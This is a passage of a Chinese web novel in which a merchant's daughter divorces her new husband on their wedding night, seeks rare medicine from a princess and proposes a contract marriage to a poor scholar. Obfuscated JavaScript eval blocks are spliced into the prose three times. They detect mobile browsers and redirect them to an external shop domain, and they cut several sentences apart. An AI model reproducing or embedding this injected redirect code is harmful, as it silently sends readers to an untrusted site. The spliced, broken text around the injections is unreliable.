“须得上品陆川橘红和贡品中江丹参入药，还得将那橘红药茶连饮一月，一片橘红一片金，我也只在医书里见过。苏小姐有这份善心已是难得，也需量力而行才是。” 苏雨棠愣住，她还是想得简单了。 一碗药喂下去，母亲慢慢缓过来，沈酌轻问：“娘可觉得好些？饿不饿？” 沈大娘没顾上回答，低头找藏银子的布帕，脸色越发苍白，慌得冷汗直冒：“银子呢？！我藏的好好的，怎么没有？” 银子早没了。 可沈酌不能直言，那是母亲豁出命也想给他省下的束脩。 若母亲得知银子弄丢了，只怕会急火攻心，撑不下去。 “娘别担心，银子我收好了，明日便去书院补交。”沈酌不动声色，温声宽慰，“我会努力多抄些书攒钱，娘再不可如今日这般。” 沈大娘高高悬起的心放下来：“哎，娘的身子不中用，拖累你了。可你必须好好读书，考中进士，才能被人看得起，你可明白？” 这样的话，沈酌已听了十年。 他默然。 “方才那药……花了多少银钱？”沈大娘从熟悉的陈设认出医馆，这就是个吞金的方盒子，她不想待下去，强撑着下床穿鞋，“娘不饿，今日便不吃了，走，回去给你烙张野菜饼。” 又吃药，又吃饭，她一个人顶几张嘴，不能再这么下去了。 她低垂的眼底，微弱的神采一点点暗淡，黑漆漆的，如死灰。 “娘晕倒在大街上，被苏小姐救下送来，儿子接到药童的口信儿赶来时，苏小姐已付了诊金、药资。”沈酌细细解释。 母亲抬眸望来，眼神错愕又疑惑：“哪个苏小姐？她为何会替娘付诊金？阿酌，你们认识？” 问出后头这句，她眼睛重新凝聚起一星光亮。 沈酌下意识错开视线，朝布料外望去。 帘子底下不见女子精美的裙摆，只有诊桌前病患局促的双脚，和药童们奔忙的身影。 “儿子何德何能？我并没有那种荣幸。是苏小姐心善，娘运气好。”沈酌垂眸扶母亲起身。 他面色如常，沈大娘心里空落落的。 若非她不中用，若非他们家贫，以阿酌的品性才学，婚事早该有眉目了。 罢了，他们如今是泥菩萨过江，还是别耽误人家姑娘。 “原来如此，阿酌，不能让人家出钱，我们早些攒了钱还上。”沈大娘往外走，脚步还虚弱，侧首望他，“你可问过苏小姐家住何处？娘想登门道个谢。” “嗯，等娘休养几日，身体好些，儿子陪您去道谢。” 沈酌没说他已道谢，也没说外头的传闻，更没说苏小姐约他明日饮茶谈事。 他看得出，她有事相商，但他并无头绪。 伸出手，欲掀布帘。 哪知，帘子从外头掀开了。 穿青灰短袄的药童钻进帘子，愕然一瞬，双手递来鸡翅木食盒：“苏小姐让人送来的，沈大娘、沈大哥趁热吃。” 师父在叫，药童应一声：“来了！” 透过晃动的布帘，沈酌看着药童跑远的背影，看到门外浓黑的天色，张张嘴，低下头，目光落在食盒，竟不知该说什么。 食盒上刻着酒楼徽记，是附近的酒楼，沈酌不曾光顾，他听同窗谈论过。 菜色油亮，份量足，他腹中感受到久违的饱胀、满足。 好人没好报么？连她这般纯善、有魄力的女子，也是如此？ 沈大娘吃完，对素未谋面的苏小姐更是赞不绝口。 在她心中，苏小姐大抵跟庙里的观音一个样儿，大慈大悲、救苦救难。 “阿酌啊，人家不求回报，咱们不能不懂感恩，娘回去想想做些什么送给苏小姐，你读书多，见识广，也替娘出出主意。”沈大娘絮絮叨叨。 “好。”沈酌淡声应。 暂时不想跟祖母打嘴仗，苏雨棠带着玉簪在酒楼用罢晚膳，才慢慢遛弯一路逛回去。 带回三只热腾腾的，焦香的脆皮鸡，一只让人送去母亲院里，一只让王叔、张叔他们拿去分食，剩下一只准备给刘嬷嬷她们在院里伺候的。 与玉簪说笑着，刚迈进院子，没来得及唤人，一抬头，便见廊下跪着一排丫鬟、婆子。 祖母坐在明间上首，怒火从敞亮的门洞里烧出来：“苏雨棠！你还知道回来？！” “这么晚了，祖母不在屋里保养身体，怎么来我院里磋磨人？她们都是我的人，若有不妥当，孙女自会管教，无需祖母操劳。”苏雨棠语气柔和，措辞、气势却不柔顺。 这无疑火上浇油。 “跪下！”老太太拄拐敲打地砖，怒斥。 苏雨棠自然没跪，款步迈过门槛，将油纸包放到桌上，顺势坐下。 “反了天了，连祖母的话也不听！你一个女儿家，做出新婚之夜休夫的丑事，败坏庄、苏两家的名声，出去鬼混到现在才回来，你娘是怎么教的？！不跪也行，明日去庄家门口好好跪着，他们何时原谅你，我何时才承认你是苏家女儿！” “祖母说反了吧？庄公子在新婚夜做出不轨之事，祖母要伸张正义，也该去将他绑来，跪在苏家门口，求我原谅。当然，祖母素来只会给阿娘立规矩，未必敢去旁人府上替孙女讨公道吧？没关系，孙女不勉强。可我娘最是敬重祖母，我什么样，自然都是照祖母的意思教导的，若祖母不满，不如先反省自己，是不是上梁不正才会下梁歪？” 老太太被她气得发抖，一直没想到反驳的话。 左右望望，她的人都在廊下看着苏雨棠的人罚跪。 她拐杖哒地一声撑在地上，站起来，扬手便朝苏雨棠挥去。 苏雨棠眸光一紧。 梦里老太太待她不亲厚，还从未动过手。 看来真是气得不轻。 苏雨棠动作灵巧，起身避开。 趁老太太愣神，抓住拐杖：“旁人欺我苏家，辱我父亲在天之灵，祖母听之任之，却对孙女挥棍相向，就不怕祖父半夜从坟头爬出来找你问罪么？” 她顺嘴一说，就为着暂时唬住祖母，杀杀对方的气焰。 还挺管用。 话音刚落，便见祖母抖若筛糠，跌坐在地，眼睛发直。 这么怕鬼？而且那鬼还是她祖父。 不知怎的，苏雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我那都是说的气话，娘别往心里去，只要您别再帮庄家说话，别让女儿去庄家赔礼道歉，棠棠永远是您的好女儿。”苏雨棠捏起汤匙，舀起一勺什锦菜肉粥，吹了吹，喂到温氏嘴边。 蓦地，她想起医馆里的情景。 诶哟，险些把今日要办的事儿给忘了！ 梳洗一番，匆匆乘马车出府，苏雨棠径直朝国公府方向去。 庄家，庄锦才也已退热转醒。 “冤家，你被苏氏那小蹄子骗啦！我让你爹去打听过，国公府只有国公爷和二爷两位年轻爷，两位贵人前天晚上都在府里，根本没出门。那晚出现的贵公子，恐怕不是镇国公府的人！”庄老太太恨铁不成钢。 刚醒来，庄锦才反应了片刻，才意识到自己已昏迷一日一夜。 “祖母的意思是，那位贵公子是苏雨棠雇来的，就为了震慑我，让我们庄家不敢闹？！”庄锦才脸色一阵红一阵白，重重捶在床上，“我竟被那诡计多端的贱人算计至此，简直是奇耻大辱！” “她恐怕早就对你、对庄家不满，设好了局，等你往里跳呢。否则，她哪会知道你不是出去赏画，而是跟人在杏花巷？”庄母跟着帮腔。 庄锦才坐不住了，当即掀被起身：“我要去苏家，找苏雨棠那贱人算账！” 刚站起来，一阵天旋地转，咚地一声摔回床上，老太太、庄母两个人也没拉动，都被他带得摔倒在地。 “哎哟！”老太太痛呼出声，胳膊钻心地疼，像是折了。 刚派了人出去请郎中，就见小厮闯进来：“公子，不好了！茶楼说书先生都在讲新话本子！” 庄锦才正用膳，吃饱了才有力气算总账。 听到小厮大呼小叫，没好气道：“吵什么？你看爷像有心思去喝茶听话本吗？” “不是。”小厮喘了口气，缓缓才继续，“那话本子讲的是公子您洞房花烛与人私会，当众被休的事儿啊！” 噗！ 庄锦才一口热烫喷出来，呛得连连咳嗽，肺都要咳出来了。 “谁干的？”庄锦才攥紧银筷，“一定是苏雨棠，她是非要我的命不可！” 才巳时，苏记布庄对面的茶楼里，沈酌坐在角落，桌上没摆茶水，而是放着笔墨纸砚。 他在抄书。 但他眸光暗转，不及往日专注。 一半心神放在说书人身上，大爷嘴皮子利索，讲得绘声绘色。 沈酌第一次亲自执笔写话本，本来不太满意，但那是他通宵达旦的成果，没有更多的时间润色。 但听见茶客们的掌声，此起彼伏的叫好声，激烈的咒骂声，他唇角弯起极浅的弧度。 嗯，勉强还行。 5. 05 庄家的人仰马翻，茶楼的群情激昂，苏雨棠一无所知。 她人在镇国公府花厅。 端坐于紫檀雕夔龙纹玫瑰椅中，手捧一盏微烫的酥煎茶，透过散发奶香、椒香的温暖薄雾，定定望着朝她走近的华服贵人。 瞠目结舌。 来人解下狐裘，丫鬟殷勤接过。 她身量高挑，步履轻快，一袭华美的云锦袄裙衬得她雍容明艳。 高髻侧簪着点翠凤头金枝步摇，两串珠玉流光溢彩摇曳鬓边，满头珠翠富贵明丽，依旧掩饰不住她眉眼间的英气。 明亮的大眼睛里，盛着璀璨笑意。 苏雨棠震惊错愕的模样，倒映其间。 “裴……公子？”苏雨棠怀疑人生，怀疑自己的眼光。 看不清庄锦才是歹毒草包就算了，竟到此刻才发现，那晚替她镇场，一身正气的“裴公子”，是位女郎！ 女郎登时失笑，坐到苏雨棠这一侧的上首时，肩膀还笑得发颤。 “如你所见，我不是公子。那日女扮男装偷溜出府，不想惹母妃生气，才让你有事来姨母这里寻我。国公府的霍老夫人，便是我姨母。”女郎欣赏着她灵动的表情，觉得很有趣，“我姓朱。” 虽是普通商户，可毕竟有上下打点的时候，家里也有考科举的人，对于京中勋贵，苏雨棠没见过，但还不至于没听说过。 更何况，朱乃本朝国姓。 国公府老夫人出身将门，有一位关系很好的庶妹，嫁入端王府做正妃。 都说端王不学无术，只会吃喝玩乐，可他是皇帝的叔、伯、兄弟里唯一留在京城享福的，余者或是被圈禁，或是去守皇陵，或是被贬为庶民。 他分明是最聪明，最有福气的一个！ 他专宠王妃二十载，未纳任何侧妃侍妾，膝下只有一女。 眼前明眸璀亮的女郎，无疑便是端王府唯一的郡主。 明珠郡主，朱琳琅。 含着金汤匙出生的天之骄女啊，竟让她碰上了，她运气比想象中还好！ “民女见过明珠郡主。”她起身施礼。 心里有紧张，有欣喜，姿态不卑不亢。 她不谄媚的态度，令朱琳琅不由高看一眼，摆摆手：“苏小姐不必多礼，还是坐下说话。” 苏雨棠从善如流。 尚未坐定，便听上首问：“你是为前夫来的？怎么，庄家那狗东西还敢纠缠你？” 说着，不等苏雨棠回应，已霍然起身：“竟然不把本郡主放在眼里，看我怎么教训他！” “不是，不是，郡主息怒。”苏雨棠起身拦住她。 郡主一字千金，自然能将庄锦才收拾服帖。 可正因郡主的恩情难得，她才不想浪费在庄锦才身上，那狗男人她自己能想法子对付。 朱琳琅一脸困惑：“那你来找我做什么？” 这个民女胆子倒是大，她当时是给过承诺会帮忙，但她承诺的是对付渣男，苏小姐竟敢为着旁的事来打扰她，就不怕她生气，连前头的承诺也作废？ 她双臂环抱胸前，默然打量着苏雨棠，看不出喜怒。 但苏雨棠能感受到，郡主不及先前亲切了。 她若开口，或许会惹郡主生气，毕竟是她理亏。 可她只认识郡主一位贵人，为了沈大娘，她必须一试，否则良心难安。 比起她来时以为要求的“裴公子”。还是求郡主更方便开口。 “民女此番求见郡主，其实是想讨两味药材，因是贡品，医馆里寻不到，才不得不厚着脸皮来叨扰，请郡主恕罪。”苏雨棠躬身赔礼，态度诚恳，“若郡主能帮忙寻到药材，民女愿倾囊求购。人命关天，求郡主成全。” 她施礼的姿势很标准，保持着，没有半丝懈怠与不敬，给足了朱琳琅颜面。 朱琳琅心里那一丝火气蓦地消散。 原来是求药。 既是人命关天，就原谅这大胆的民女吧。 朱琳琅抬抬手，亲自扶起苏雨棠。 踅身，坐回紫檀玫瑰椅中：“哪两味药材，也值当来向本郡主求，说来听听。” “上品陆川橘红和中江丹参。”苏雨棠意识到，她还有机会，暗暗松了口气，浅笑应，“郡主是贵人，对郡主来说唾手可得的东西，于民女而言，却难如登天，若非实在没有旁的门路，也不敢贸然央求。” “我当是什么。”朱琳琅语气轻松。 这些东西，王府府库里肯定有，就算没有，她去找皇帝哥哥也很容易求到。 可是，她为何要为一个民女忙前忙后？ 若是苏小姐自己病入膏肓，她看对方可怜，还心甘情愿去找。但显然苏小姐康健得很，可不像得了绝症。 一个不认得的人，她怎么知道对方值不值得她费心？ “给谁治病？你家人？” 果然，对郡主来说是小事一桩。 苏雨棠面上已露出喜色，她为沈大娘和沈酌高兴。 她摇摇头：“不是。” 闻言，朱琳琅面色一冷，别告诉她是为庄家人，门儿都没有！ 下一瞬，却听苏雨棠道：“是一位偶然遇到的大娘。她与儿子相依为命，家境贫寒，儿子束脩都交不上，攒下银钱先给她买药，而她呢，为了给儿子交束脩，不惜拿吊命的药偷偷换回银钱，昏死在路上。也是缘分，被我遇上了，既然知道能治，我便不能坐视不理。” 朱琳琅听得震惊不已，好半晌才回神。 这民女自己的日子也不见得好过，竟还肯花心思为一面之缘的可怜人奔走。 “最迟明日，我让人送到你手上。”朱琳琅语气果决，“你那点儿嫁妆钱自己留着用，本郡主不要你的银子。” “多谢郡主！”苏雨棠展颜，“郡主肯帮忙已是极好，银子还是该民女出。” “苏雨棠，本郡主看起来很穷吗？还是你在钓鱼，好告我端王府搜刮民脂民膏？”朱琳琅横她一眼，大步往外走。 看她背影气势汹汹，可苏雨棠瞧着，并不害怕。 唇角笑意更深。 传闻中，二十岁还嫁不出去，被惯坏了的明珠郡主，其实挺可爱的。 从镇国公府出来，苏雨棠终于得空，开始认真琢磨招沈酌为赘婿的事儿。 她需要招赘生子，自立门户，护住家财。 沈酌出现得正是时候。 而沈酌需要银子交束脩，急需救沈大娘的命。 这些她正好能帮上忙。 抛开未来的身份不匹配不谈，她与沈酌当真是天造地设的一对。 但也不能完全抛开。 她与庄家可不一样，她想跟未来宰相结个善缘，而不是结仇。 将来朝中有人更好，最差一拍两散，但绝不能坏对方前程，树个劲敌。 用罢午膳，步入茶楼时，苏雨棠已将思绪梳理清楚。 一楼大堂爆发出一阵喧闹，惊得苏雨棠一个趔趄。 茫然抬眸，只见茶客们个个神情激动，有人甚至一掌拍在桌上，震得茶水飞溅，脚踏长凳冲说书大爷嚷嚷：“这也太不是东西了！我一个大男人都忍不了，还是读书人，老天开眼，可千万别让这人当官！” “做出此等有辱斯文，败坏门风的事，圣贤书都读狗肚子里去了，还当什么官？去南风馆当小倌吧！” 有人措辞不讲究，听得苏雨棠暗暗咋舌。 话本么，都是瞎编的，苏雨棠也没在意。 捉裙上楼，叩开她预订的雅间门扇。 “苏小姐。”沈酌躬身施礼。 他今日打扮，比昨日体面些，但仍是寻常布袍，有些单薄。 “抱歉，让沈郎君久等了。”苏雨棠扫一眼桌上笔墨，眉心微动，“沈郎君在抄书？倒是写得一手好字。” 玉簪在门口接下承盘，送来茶水及两样精致茶点，默默关上门退出去。 “多谢苏小姐谬赞，小生也是刚到不久。”沈酌动作麻利，已将笔墨、书册收好，抬眸望向苏雨棠，目光清正。 不是看女人，而是看恩人、贵人的眼神，带着敬。 “沈大娘可好些了？”当赘婿在外人眼中总归不体面，苏雨棠不好开门见山。 还是先缓缓，话话家常，彼此了解，主要是让沈酌多了解她一些，不至于被她的要求吓到。 “有劳苏小姐挂念，家母好多了。昨日，多亏苏小姐搭救，小生与家母感激不尽，家母一心想登门道谢，不知苏小姐可方便？” 苏雨棠微微诧异，沈家母子倒是很知礼数。 “过几日吧。”等她表明真实来意，看看他的态度，再考虑如何见他母亲不迟。 她明显有心事。 沈酌斟一杯香茶，试试杯壁温度，感觉不烫，才双手递到她面前。 “不知苏小姐唤小生来，有何时吩咐？但说无妨，只要小生力所能及，绝不推辞。”沈酌态度明确，他有心报恩。 “确实有件事，想请沈郎君帮忙，或者说，我想与沈郎君谈个合作。”苏雨棠想了想，对聪明人，也不必兜圈子。 她捧起茶盏，浅饮一口。 纤白指尖捏着杯壁，犹豫似地摩挲。 沈酌望着她，神情凝重，眼神担忧。 苏小姐是遇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543375|204012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了很棘手的难处，想让他帮忙，又怀疑他能力不够吗？ “小生人微言轻，但苏小姐的吩咐，小生必竭尽所能去做。” 他的话，打消了苏雨棠最后一丝迟疑。 “我新婚夜休夫，带着嫁妆归家的事，在京中传得沸沸扬扬，想必沈郎君也有所耳闻。不瞒沈大哥，我想谈的合作，正与婚事有关。” 说话间，苏雨棠端凝着沈酌的神色。 他没有丝毫惊讶，显然听说过她的事。 且他眼神里有欣赏，有朋友般的宽慰，说明他支持她的做法，不是迂腐之人。 “苏小姐很有魄力，乃女中豪杰，那庄公子有眼无珠，苏小姐不必伤怀。”沈酌轻问，“不知小生能为苏小姐做些什么？” “若我说，我想招赘，招你做我的赘婿呢？”苏雨棠定睛望着他，措辞再明白不过，“沈大哥，你也愿意帮我吗？” “什么？！”沈酌眼神震荡，杯中茶水也晃出一汩，洇散在桌上，倒映着他细微的失态。 “我知道，这是个不情之请，有些强人所难，可苏家大房只有我和母亲两个，我要设法护住家财。”苏雨棠细细道出自己的想法，“你放心，我不会让第三个人知道你的身份，不会耽误你的名声、前程。我已求到能治好沈大娘的药，不管你答不答应，明日我都会把药给你。我会与你定下三年之期，三年内，你配合我，助我自立门户。作为回报，我会资助你读书，包括束脩、衣食、笔墨纸砚、人情往来，三年后，还会另给你一笔银钱，作为酬劳。” “我并非挟恩图报之人，沈大哥若不愿，可以拒绝。” 一刹的失态过后，沈酌便一直神情自若，苏雨棠看不清他的想法，只好一气儿道出自己的安排与诚意。 让沈酌看到，她并未看轻他，想羞辱他。 即便买卖不成，将来为官做宰后，也千万别找她报仇啊！ 果然，回报大的买卖，风险也高。 但她本就是个商人，怕什么。 看来苏小姐不是一时兴起，她条理清晰，思虑周全，恐怕在见到他之前，便想好招赘之事。 只是，他刚好出现在她需要这个人的时候。 他以为，他们是两个世界的人，偶然相遇，也源于她的善心。 没想到，他们之间，还可能有更深的交集。 她望着他时，目光清如水，没有任何黏糊的情意。 他家境清贫，没想耽误谁家姑娘，对婚事从未有过幻想。 不是没有姑娘向他表达情意，他素来无动于衷。 没想到，会有这么一日，姑娘将婚事视为无情无爱的合作，来与他谈。 他无法不震撼。 但想到她休夫之举，她做什么似乎都合理。 她心善，却不柔弱，他无法不欣赏。 “为何是我？”沈酌握着茶盏问。 拇指扣在靠近他这侧的杯壁，指节弓起，指尖泛白。 “你生得俊，不管我的孩儿像你还是像我，都会好看。你是读书人，听说功课还很好，我希望我的孩儿也聪慧明理。你知恩图报，懂礼数，心思正，知根知底总归比找个陌生郎君放心些。”苏雨棠大大方方回应。 少女生得如花似玉，每每不经意露出一丝委屈情态，沈酌便觉她柔弱可怜。恨不得能替她摆平所有烦扰，抚平她的委屈。 他第一次对女子有这般怪异的感受。 可他眼中美丽柔弱的恩人，竟能口无遮拦谈论起与他的孩儿。 但她眼神清澈，思路清晰，将他的价值说得明明白白，就像在夸一幅画、一阕词。 “孩儿？”沈酌嗓音有些低哑，吐词变得艰难。 她要招的竟不是一个给外人看的赘婿，而是同床共枕、生儿育女的伴侣。 少女光明磊落，倒显得他不够潇洒。 苏雨棠点点头，以为他在担心有孩子牵绊太麻烦。 “瞧我，这样关键的事竟忘了说。”苏雨棠笑盈盈解释，“沈大哥放心，我都想好了，孩儿是我一个人的，跟我姓，我抚养他们长大，将来也不会告诉他们父亲是谁，保证不会影响沈大哥将来娶妻生子。” 她所有细节都想好了，只怕心意已决。 若他不答应，她会另找旁的郎君合作吧？ 沈酌心里有股说不上来的滋味。 “沈大哥别着急拒绝，考虑一下，明日答复也不迟。” 她话音刚落，男子低沉稳重的嗓音便递来：“我愿意。” 苏雨棠讶然，望着他，眼睛也忘了眨。 “只要是苏小姐的吩咐，沈某万死不辞。” 6. 06 “择日不如撞日。”苏雨棠将备好的纸笺摊开在漆亮的小圆桌上。 寒冬腊月，屋内没摆炭盆，有些凉意。 午后的光线，不算温暖，却胜在明亮，映照得窗畔人的眼睛盈盈生光。 两人口鼻吐纳的白色雾气，缥缈相融，日光斜照过来，似一支金箭。 沈酌眸光微闪，敛下眼皮，落座执笔。 苏雨棠立在他身侧，看着他落笔成书。 一手字帖般端正工整的楷书，将她方才说的约定，拟成白纸黑字的字据。 竟答应得这般爽快，字据也拟得一丝不苟，如此知恩图报、清正严谨的性子，他是怎么在污浊的官场里平步青云的？ 不过，那不是她该操心的。 心念微微动了动，她心思便又放到自己的事儿上。 有庄锦才那狗东西前车之鉴，苏雨棠并不敢轻易相信男人，即便眼前的男子看起来再秉直不过。 她毫无心理负担地，将三年内背叛她的惩罚清楚道出。 “若三年内，男方有任何不轨之举，合约即刻终止，男方须赔偿女方白银千两，事后不得报复。” 写下这一句时，沈酌的笔势也不见丝毫迟滞。 苏雨棠默默看在眼中，目光从墨色笔尖缓缓上移，停驻在他清隽的眉眼。 目前看来，她自己挑男人的眼光，倒不算差。 契书写好，摊放在桌上晾墨。 两人再次对坐，沈酌的心态不由自主起了微妙的变化，比先前莫名拘谨一分。 苏雨棠没留意，她想到更多的细节，需要与沈酌统一口径。 对方的品性尚且令她满意，那她自然要投桃报李，多为他想一分，免误他前程。 “为防暴露真实身份，还是给你改个称呼，尤其在外人面前。”苏雨棠想了想，她与沈酌的交集，郡主、赵郎中都知道，最好将姓也改一改，“你可有中意的化名？不必引经据典，拿来糊弄人用的。” 沈酌一愣，大抵明白少女用意，但他摇摇头。 “小生既已是苏小姐的赘婿，不如由小姐赐名。” 苏雨棠错愕不已。 他倒是入戏很快，适应能力极强，此刻便有了做赘婿的觉悟。 “我闺名雨棠，往后沈大哥可唤我名字。”她抬眸，眼神里含着鼓励与诱导。 既然是她的人，不日便要朝夕相对，自然不必如先前那般生分。 她以为，以沈酌的适应能力，会顺势而为。 哪知，对面的郎君张张嘴，最后竟没发出声音，而是避开她视线，侧首望向窗外。 苏雨棠一眼便瞧出，他是假意欣赏窗外景致。 俊脸侧倏然变红的耳尖，已泄露他真实情绪。 到底还是未及冠的郎君，城府深也是以后的事。 罢了，他能这么快答应，已是难得，其他的，慢慢来吧。 苏雨棠以手支颐，目光描摹着他侧脸清俊的轮廓，唇角不自觉弯起。 长相好看，身心纯净，尚未发迹，但前途能清晰窥见的郎君，她真是捡到宝了。 “沈大哥可有表字？”她语气温柔，好奇问。 沈酌已收拾好刹那起伏的心绪，回应她时，神色已如常：“恩师为我取了表字，子瞻，‘瞻山识璞，临川知珠’的瞻。” “好字！”苏雨棠默念一遍，杏眼乌亮。 “我想到了！”她眼神兴奋，双手清脆一合，“往后，你在我身边，就化名詹淼，名字只在必要时唬人，平日里我便唤你三郎，对人道你在家中排行老三。” 与他的名字相关，但不知情的人也不会联系到他头上，沈酌颔首，暗赞她聪颖。 “为免有人多事去打听你，我会对家人说你无父无母，兄、姊已成家，你孤身被赶出来，难以养活自己，因生得好看才被我瞧上。”苏雨棠说完，还不忘叮嘱，“好生记着，若是你自己漏了马脚，将来可别赖我。” “我没有咒沈大娘的意思啊，你可别误会。”苏雨棠连连摆手，随即，秀眉轻颦，“算了，你最好连沈大娘也别告诉，我怕她生气，影响养病。” 沈酌自然不会误会，他分得清好歹，苏小姐都是为他考虑。 否则，她根本不必为这些细枝末节费心思。 她的要求看似霸道，实则她根本不是欺负人的强硬性子。 “好，不告诉我母亲。”沈酌想了想，他与苏小姐还是有个明面上的交集更稳妥，“我会记账，便对母亲说，苏小姐看我们可怜，雇我在铺子里帮忙。” 若他猜的没错，茶楼对面的苏记布庄，应当就是苏小姐的产业。 “好！不愧是……” 未来探花郎！ 这几个字，被苏雨棠及时咽回去。 “不愧是我看中的郎君！” 苏雨棠避开他狐疑的目光，故作镇定从袖中摸出两张百两的银票，不由分说塞到沈酌手中。 “这是契约的定金，你若不介意，也可以当成我给你的聘金，怎样都成。你先去将束脩交了，家里缺什么东西，都给置办上，也好让沈大娘独自在家时不至于饿肚子。” “小生尚未为苏小姐做什么，我不能收。”沈酌将银票递回她面前。 苏雨棠手一缩，站起身。 笑靥如花，语速如珠落玉盘：“就这么定了，我还有事，先去忙，明日等我去接你。” 与沈酌谈事时没觉着，从茶楼出来，望见天际橘红的霞光，苏雨棠才后知后觉竟逗留了半日。 刚下马车，抬头便见大门另一侧的道路，被两辆马车和数位仆从堵住。 为首的马车旁，立着一位打扮光鲜的男子，正扶马车里的女眷下车。 隔着半条街，苏雨棠已闻到那熟悉的熏衣香。 不是庄锦才是谁？！ 目光瞥来，看到她的一瞬间，庄锦才的眼睛登时睁大，浑身竖起无数看不见的尖刺。 扶着庄母的手下意识一收，险些叫庄母跌下来。 “苏雨棠！你这不孝的妒妇，让人在茶楼酒肆坏我名声不说，还害我祖母摔折了手臂，我定要向苏家讨个说法！” 庄锦才气势汹汹过来，手指恨不得戳到苏雨棠脸上。 在离苏雨棠半丈远处，被王叔、张叔一左一右反剪手臂，疼痛令他瞬间消音。 “笑话，你做出新婚夜背妻养小的丑事之时，只顾快活，事后倒想起要脸了？坏你名声？我已休弃你，你我早成陌路，我可没那闲工夫。嘴长在人身上，谁若是污蔑了你，你报官去呗。” 他们之间的事，已在茶楼酒肆传遍了？ 瞧庄锦才气急败坏的模样，应当差不离。 传就传吧，庄锦才坏了名声，考不了科举，连梦里的六品官都当不上，正合她意。 “你敢说说书人嘴里改名换姓，指桑骂槐的话本，不是你让人写的？！”庄锦才来之前，特意听小厮转述过，此刻想起，心火还是从眼睛里往外窜。 “说了不是，你又不信，还问什么？”苏雨棠扫他一眼，眼中划过一丝不耐与嫌弃。 若非围观的路人越来越多，她早让王叔他们把这厮拖去丢远些了。 “你方才还说什么来着？我害庄老太太摔折手臂？可真稀奇，从新婚夜去杏花巷捉到你的现行，到此刻，我见都未见过老太太，如何害她？” 揪住漏洞，苏雨棠可不可能轻易放过。 全然不给庄锦才开口的机会，她转身便捏着帕子拭泪，向围观的众人示弱：“各位街坊邻居给评评理，庄公子羞辱我，扰我父亲在天之灵，我只给了他一封休书，让他与真正心仪的女子成亲，我没同庄家大闹，没要任何补偿。可庄公子呢，他要了人家贾娘子的清白，却不趁早去给个名分，反倒想方设法往我身上泼脏水。” “呜呜，我一个弱女子，哪及他一个熟读四书五经的童生巧舌如簧？我想息事宁人，好聚好散，庄公子却一心想毁我闺誉。父亲若知，当初好心与庄家定下这门亲事，引来的却是要将他女儿生吞活剥的豺狼，恐怕在九泉之下都不能瞑目啊。” 想起父亲，苏雨棠确有几分真切的伤怀。 泪珠儿不由自主往下落，眼圈红红，与气势汹汹还恶人先告状的庄锦才相比，更显得孤弱可怜。 “你一个女儿家，在门口哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543376|204012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭啼啼成何体统？还不请亲家和姑爷进屋，好生赔罪？”祖母的声音从门里传出来。 话语里，长辈的威严，让苏雨棠有些无奈。 大魏国以孝治天下，在外人面前，她不能公然忤逆祖母。 “是啊。”二婶贾氏轻叹一声，“家里小辈没教好，让诸位见笑了。” 随即，她搀着庄母便朝台阶上走：“亲家母消消气，有我们老太太做主呢。” 苏雨棠盯着二婶背影，梦中一个险些被她忽略的细节，快速闪过脑海。 “二婶婶有心教导，侄女感激不尽，正好有一桩事，想请教二婶婶，还请当着众人的面，指点侄女一二。” 她慢条斯理开口，直到贾氏回眸，疑惑地望着她，苏雨棠才问出口。 “与庄公子在杏花巷厮混的外室姓贾，二婶婶也姓贾，不知二婶婶与那贾娘子可有渊源？”她眼神似笑非笑，带着旁人不懂的逼视。 梦里，贾淑慧是二婶的远房亲戚。 “是吗？那贾娘子不知自爱，我可不认得。”贾氏眼皮一跳，下意识避开苏雨棠的视线，“还是先处理咱们得家事。” 说着，脚步不自觉加快。 “慢着！” 这一唤颇有气势，声音有些耳熟。 苏雨棠侧眸，看到一张意料之外的熟悉的脸：“郡主？！” “苏雨棠，你够了！”庄锦才翻了个白眼，他没认出朱琳琅的脸，只盯着苏雨棠，“前两天，你才找人假扮镇国公府的公子，今日又从哪儿找来戏子假扮郡主唬人？信不信我报官抓你蹲大牢？！” “戏子？”朱琳琅气笑了，冷笑着吩咐，“给本郡主拿下他！” 话音刚落，马车后闪出六位银甲侍卫。 看打扮，便知出自王公贵族之家。 “你……你……”庄锦才双腿不受控地发抖，白着一张脸反驳，“不可能，苏雨棠一介商户女，怎么可能真认识什么贵人，骗子，一定是雇来骗人的，大家千万别信。” 围观的百姓好奇地打量着郡主，再看庄锦才时，像在看傻子。 “把他丢去顺天府关几天，好好审审，他为何骂我是戏子，对端王府不敬，对皇兄不敬，是不是反贼或者细作？还有，他的外室是什么来头，他家老太太究竟如何摔折的手臂，都给本郡主查清楚。”朱琳琅身量本就高，打扮低调，说话却很有气势。 冷下脸时，更是像大雨将至：“天子脚下，本郡主倒要看看，谁敢欺负一个弱女子！” 庄锦才被侍卫押走，庄母也顾不上后头马车里拿乔的庄老太太了，跟在侍卫后面追：“球球你们，不要抓我儿子！” 而马车里，庄老太太也装不下去了，又没脸下车，只好冲着马车外不知所措的仆从嚷嚷：“都愣着干什么？还不快去顺天府向大老爷求情？” 马车掉头时，她还不忘解释：“郡主息怒，老身手臂没折，是我家孙儿听岔了，都是误会。” 